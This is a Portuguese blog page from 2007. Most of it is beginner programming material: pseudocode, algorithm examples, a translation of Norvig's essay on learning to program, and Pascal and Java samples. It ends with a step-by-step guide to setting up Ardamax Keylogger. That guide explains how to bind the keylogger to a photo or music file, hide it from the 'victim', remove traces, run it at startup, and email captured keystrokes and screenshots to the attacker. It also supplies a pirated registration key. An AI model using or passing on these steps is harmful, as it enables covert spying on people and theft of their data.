terça-feira, 31 de julho de 2007

Português Estruturado.

O português estruturado é uma forma de representação de algoritmos, considerada uma pseudolinguagem de programação, é um metodo muito útil para se aprender lógica de programação.
A estrutura
Programa NomeDoPrograma;
Váriáveis
{Declaração de váriaveis}

Início {Início do bloco principal do programa}
{Iniciar variáveis de controle ou que receberão cálculos}
{Solicitar entrada de dados ao usuário}
{Entrada de dados}
{Processamento/Cálculos}
{Saida de dados}
Fim. {Final do bloco principal do programa}

Um exemplo de português estruturado:

Programa Soma;
Variáveis
Num_1, Num2, Total = real;

Ínicio
Escreva("Entre com o primeiro número");
Leia(Num_1);
Escreva("Entre com o segundo número");
Leia(Num_2);
Total := Num_1 + Num_2
Escreva(" O resultado é", Total)
Fim.

Algoritmo

O algoritmo é uma representação de resolução da lógica, ele pode ser considerado uma seqüência de procedimentos finitos que, se forem executados em determinado momento, chegará ao seu objetivo.
Vamos imaginar por exemplo a seqüência que tem o objetivo de
"fazer café"

  1. encha de água a chaleira
  2. coloque a chaleira para ferver
  3. prepare o porta filtro sobre o bule
  4. coloque duas colheres de pó de café no filtro
  5. após a água ter fervido, acrescente aos poucos meio litro de água sobre o filtro
  6. aguarde coar
  7. adoce a gosto
Se esses passos forem seguidos corretamento, nós vamos chegar ao nosso objetivo, que é fazer o café, podemos concluir que:
Todo algoritmo é composto por instruções finitas bem definidas, com o objetivo de resolver um problema proposto. É um caminho para a solução de um problema.
A instrução nada mais é do que um comando, elas escritas em linguagem de programação são chamadas de
programas.
São exemplo de linguagens de programação:
Pascal
C#
Cobol
Delphi
Visual Basic
Java, etc...

Passos para a construção de um algoritmo
1- Identificar o problema mediante a leitura atenta de seu enunciado.
2- Retirar do enunciado as "entradas de dados", ou seja, indentificar os dados que devem ser fornecidos e, a partir deles, verificar se desenvolverão os cálculos/processamento.
3- Retirar do enunciado as "saidas de dados" que devem ser gerados como resultado da resolução.
4- Determinar o que deve ser feito para transformar as entradas nas saidas, o que seria o processamento dos dados, neste ponto deve ser determinada a seqüência de ações que leve a solução do problema.
5- Construir um algoritmo, utilizando uma forma de representação de algoritmos.
6- Testar a solução.

Construindo um algoritmo para somar dois números:
E
ntradas: O que preciso?
primeiro número;
segundo número;
Processamento: Como chegar ao que quero?
somar os números.
Saídas: O que quero?
números somados.

Introdução a lógica de programação.

O conceito de lógica não é muito difícil, ela faz parte do nosso dia-a-dia, de nossas decisões. Entende-se por lógico o que não permite questionamento, o que é coerente, óbvio, certo.
Lógica de programação em processamento de dados é a maneira pela qual se representa em linguagem corrente, ou por meio de símbolos que expressam essa linguagem, instruções, que compõem um programa.
Devemos ter em mente sempre os seguinte passos:
1- Entender o problema proposto,
2- Verificar todos os dados disponíveis para resolve-lo,
3- Dividir o problema em partes menores, se ele for complexo, questionar-se.
4- Ter bem definido seu objetivo.
5- Se não conseguir chegar ao seu objetivo, reflita a esse respeito e revfeja os passos aqui mencionados.

segunda-feira, 30 de julho de 2007

Aprenda a programar em 10 anos.

Pesquisadores (Hayes, Bloom) tem demonstrado que leva em torno de dez anos para desenvolver perícia em qualquer de uma variedade de áreas, includindo jogar xadrez, compor músicas, pintar, tocar piano, nadar, jogar tênis e pesquisar neuropsicologia ou topologia. Aparentemente não há atalhos: até Mozart, que foi um prodígio musical aos 4 anos levou mais 13 antes de compor música de primeira classe. De outra forma, ou Beatles parecem ter disparado nas paradas em primeiro lugar com a aparição no show do Ed Sullivan em 1964. Mas eles estavam tocando em pequenos clubes em Liverpool e Hamburgo desde 1957, e mesmo que eles conseguiram uma aparição em masa, o primeiro grande sucesso mesmo, Sgt. Peppers, foi lançado em 1967. Samuel Johnson pensa que pode levar mais do que dez anos: “Excelência em qualquer departamento pode ser alcançada apenas com o trabalho de uma vida toda; não é possível compra-lá por menos.” E Chaucer reclamou: “vida tão curta, leva tantu pra aprender.” Sim, é “tantu”, e não “tanto”, um dia você entende.

Então aqui vai minha receita para sucesso na programação:

  • Aprenda inglês. Leia o original deste texto. Essa tradução só está aqui para exercitar o meu inglês, não o seu. (Nota do tradutor)
  • Se interesse por programação, e faça porque é legal. Tenha certeza que isso continue a ser legal para você dedicar dez anos nisso.
  • Converse com outros programadores; leia outros programas. Isso é mais importante do que qualquer livro ou curso de treinamento.
  • Programe. O melhor tipo de aprendizado é aprender fazendo.
    Colocando de uma forma mais técnica, “o nível máximo de performace individual em um domínio é não é alcançado automaticamente em função de uma experiência extendida, mas sim aumentado mesmo por indivíduos extramente experientes por um esforço deliberativo de melhorar.” (p. 366) e “o aprendizado mais efetivo requer uma tarefa bem definida com uma dificuldade apropriada para o indivíduo em particular, dado que exista um retorno sobre a experiência e oportunidades de repetição e correções de erros.” (p. 20-21) do livro
    Cognition in Practice: Mind, Mathematics, and Culture in Everyday Life
    , que é uma referência interessante deste ponto de vista.
  • Se você quiser, gaste quatro anos em uma universidade (ou mais em uma pós-graduação). Isso lhe dará acesso a alguns empregos que requerem alguma formação e um grande entendimento do campo de trabalho, mas se você não gosta muito de ir para escolha, você pode (com alguma dedicação) conseguir alguma experiência similiar sobre esse tipo de trabalho. Em qualquer caso, apenas ler livros não será suficiente.
    “Educação em ciências da computação não faz de ninguém um gênio em programação tanto quanto estudar pincéis e pigmentos não fazem um bom pintor.” diz Eric Raymond, autor de The New Hacker’s Dictionary. Um dos melhores programadores que eu já contratei tinha apenas o segundo grau, e ele produziu vários softwares incríveis, tem seu próprio grupo de discussão,
    e fez dinheiro suficiente em ações para comprar seu próprio clube nortuno.
  • Trabalhe em projetos com outros programadores. Seja o melhor programador em alguns projetos, seja o pior em outros. Quando você é o melhor você testa suas habilidades para liderar um projeto, e para inspirar outros com a sua visão. Quando você é o pior aprende o que os mestres ensinam e o que não gostam de fazer (porque eles fazem você fazer por eles).
  • Trabalhe em projetos após outros programadores. Esteja envolvido em entender um programa
    escrito por outro. Veja o que é preciso para entender e consertar quando o programador original não esta por perto. Pense em como desenvolver seus programas para que seja fácil para quem for mante-lós após você.
  • Aprenda pelo menos meia dúzia de linguagens de programação. Includa na lista uma linguagem orientada a objetos (como Java ou C++), uma que seja de abstração funcional (como Lisp ou ML), uma que suporte abstração sintática (como Lisp), uma que suporte especificação declarativa (como Prolog ou C++ com templates), uma que suporte co-rotinas (como Icon ou Scheme), e uma que suporte paralelismo (como Sisal).
  • Lembre-se que há um “computador” em “ciência da computação”. Saiba quanto tempo leva para o seu computador computar uma instrução, carregar uma palavra ad memória (com e sem cache), ler palavras consecutivas do disco rígido, procurar por uma nova posição no disco.(As respostas estão aqui.)
  • Se envolva no esforço de padronização de uma linguagem. Pode ser o comite ANSI C++, ou na padronização de programação na sua empresa, se utilizaram identação com 2 ou 4 espaços. Em qualquer caso, você aprende o que outras pessoas gostam em uma linguagem, o quanto eles gostam e talvez um pouco do porque eles gostam.
  • Tenha o bom senso de cair fora desse processo de padronização tão rápido quanto possível.

Com tudo isso em mente, é questionável o quão longe você pode ir apenas lendo livros. Antes que do meu primeiro filho nascer eu li todos os livros de Como Fazer e ainda me sentia como um novato. Trinta meses depois, quando nasceu meu segundo filho, voltei aos livros para relembra? Não, ao invés disso resolvi utilizar minha experiência pessoal do primeiro filho, que se tornou muito mais útil do que milhares de páginas escritas por especialistas.

Fred Brooks, em seu trabalho No Silver Bullets identificou um plano em três partes para encontrar grandes projetistas de software:

  1. Sistematicamente identifique os melhores projetistas o quanto antes.
  2. Atribua um orientador de carreira responsável pelo desenvolvimento cuidadosamente de um plano de carreira
  3. Promova oportunidades para desenvolvedores em aprendizado interagir e estimular uns aos outros.

Isto assumo que algumas pessoas já possuem as qualidades necessárias para ser um grande desenvolvedor de software; o grande trabalho é apenas coloca-los no caminho correto. AlanPerlis coloca de forma mais sucinta: “Qualquer um pode ser ensinado a esculpir: Michelangelo precisaria ser ensinado a não esculpir. É o mesmo com grandes programadores”.

Então vá em frente e compre aquele livrode Java; provavelmente você terá algum uso dele. Mas isso não vai mudar a sua vida, ou o seu conhecimento como um programador em 24 horas, dias, ou meses.

Por Peter Norvig

Iniciantes em programação

Antes de mais nada, esse tópico não tem como objetivo transformar leigos em profissionais da noite pro dia, quem quer se tornar um programador aprendera muito mais com a pratica. Aqui é só uma breve introdução sobre o que se deve saber antes de escolher uma linguagem de programação e algumas informações úteis.


Introdução

O computador tem sua própria linguagem que é a linguagem de máquina e ele entende somente ela. Essa linguagem é incomoda para nos por ser formada geralmente por seqüências de números e é aí que entram as linguagens de programação chamadas de alto nível. Basicamente, essas linguagens servem para nos humanos mandarmos o computador fazer uma tarefa especifica de um jeito mais rápido e amigavel. Uma vez feito o código, ele é traduzido para a linguagem de máquina pelos compiladores.


Lógica e algoritmos

Todo software ou parte dele tem algum objetivo a ser alcançado e deve se pensar na resolução desse problema em etapas seqüenciais e lógicas. Um exemplo simples é levantar da cama e ir trabalhar:
1-Levantar da cama
2-Tirar a roupa
3-Tomar banho
4-Vestir-se
5-Tomar café da manha
6-Ir para o trabalho
Esses passos devem seguir uma ordem correta para alcançar o objetivo, por exemplo, se as etapas 3 e 4 se invertessem a pessoa chegaria molhada ao trabalho. Essa seqüência que segue uma lógica para resolução de um problema é chamada de algoritmo. Tendo o algoritmo, é só passá-lo para alguma linguagem de programação.


Pseudocódigo

Pseudocódigos são usados para formar os algoritmos antes de começar a programar realmente. Eles são fáceis de ler e podem ser feitos para ver como vai funcionar a lógica. Outro exemplo simples, analisar se a media final de um aluno é o bastante para ele passar de ano (considerando 2 notas):

1-Conseguir as notas do aluno
2-Somar as notas
3-Dividir por 2
4-Se a media for maior ou igual a 70
Imprimir na tela “Aprovado”
Senão
Imprimir na tela “Reprovado”


Código e linguagens

Sabendo o que é e como tudo funciona é hora de começar a programar, mas antes disso é preciso escolher a linguagem. Nessa escolha o que tem que se aprender é a sintaxe da linguagem escolhida, pois tudo já começou no algoritmo e de uma forma geral você pode fazer a mesma coisa com diferentes linguagens usando o mesmo algoritmo. Algumas linguagens são mais usadas para aprendizagem por serem mais simples, Pascal por exemplo, depois cada um pode escolher outra com mais recursos. Como exemplo vou mostrar o código da media do aluno em Pascal e Java.


Pascal
program mediaGeral;
var nota1, nota2, soma, media:real;

begin
soma := 0;
writeln(\'Digite o valor da primeira nota:\');
read(nota1);

writeln(\'Digite o valor da segunda nota:\');
read(nota2);

soma := nota1 + nota2;
media := soma/2;

if media >= 7 then
writeln(\'Média: \',media:2:1, \' - Aprovado\')
else
writeln(\'Média: \',media:2:1, \' - Reprovado\');

end.


Java
import javax.swing.JOptionPane;

class Media {

public static void main(String[] args) {

String primeiroNumero, segundoNumero;
int nota1, nota2, soma=0;
double media=0;

primeiroNumero = JOptionPane.showInputDialog("Digite o valor da primeira nota:");
segundoNumero = JOptionPane.showInputDialog("Digite o valor da segunda nota:");

nota1 = Integer.parseInt(primeiroNumero);
nota2 = Integer.parseInt(segundoNumero);

soma += nota1 + nota2;
media += soma/2;

if (media >= 7)
System.out.println("Média: " + media + " - Aprovado");
else
System.out.println("Média: " + media + " - Reprovado");

System.exit(0);

}

}

Isso é só para ter uma idéia do código e como da para ver, em alguns lugares eles são bem parecidos. Coisas como program, class, writeln fazem parte da sintaxe, cada linguagem tem a sua e ela deve ser aprendida antes de começar a programar.

Configurando Ardamax Keylogger 2.7

Ardamax Keylogger é um ótimo keylogger invisível que, com ele, você pode gravar tudo que foi digitado no seu computador em um arquivo log, que pode ser visto como texto ou Página da web.
Use este keylogger encontrar para fora o que está acontecendo em seu computador quando você estiver ausente, mantiver um apoio de seus dados datilografados automaticamente ou o usa monitorar seus "miúdos".
Lembrando que, ele possui utilitário de instalação e desinstalação.

1° Faça o Download do programa
2° Instale o programa
3° Clique com o botão direito em cima do icone criado no relógio e vá em Enter Registration Key e coloquem

Name:
Invasão
Key: XTPFVPQINFMUMUM



4° Clique com o botão direito novamente e clique em Remote Installation.
5° Clique em avançar.
6° Clique em Browse e escolha o que vc quer ajuntar com o keylogger, pode ser uma música, foto, etc, clique em avançar.


7° Na proxima etapa habilite tudo, para que fique mais difícil de detecta-lo no pc da vítima, clique em avançar.
8° Na tela Security deixe em branco, pois não é necessário colocar senha no servidor.
9° Em Web Update desabilite tudo para não deixar pistas para a vítima.
10° Em Options deixe tudo habilitado para o keylogger iniciar com o windows e começar na modalidade escondida, em hide mode on muda as teclas de atalho como desejar, se quiser que o keylogger se autodestrua coloque a data que você quiser.

11° Marque a opção send logs every e coloque o tempo desejado no qual os logs chegarão a você, configure assim.


12° Em E-MAIL na parte send to e send from coloque o seu e-mail, depois clique em find e veja o que aparecerá no SMTP, em username e password não é necessário colocar nada, clique em avançar.
13° Na tela Control deixe marque todas as opções, clique em avançar.
14° Em screenshots configure como desejar, clique em avançar.
15° Em Destination mude o nome do servidor, o nome é install, mude para qual vc desejar.
16° Depois disso clique em change icon e troque o icone do arquivo para qual vc desejar, clique em avançar e concluir.
17° A seguir vai abrir a pasta de instalação do Ardamax, lá estará o Keylogger criado, arraste para o seu desktop e ele estará pronto.
NÃO EXECUTE O KEYLOGGER DEPOIS DE PRONTO.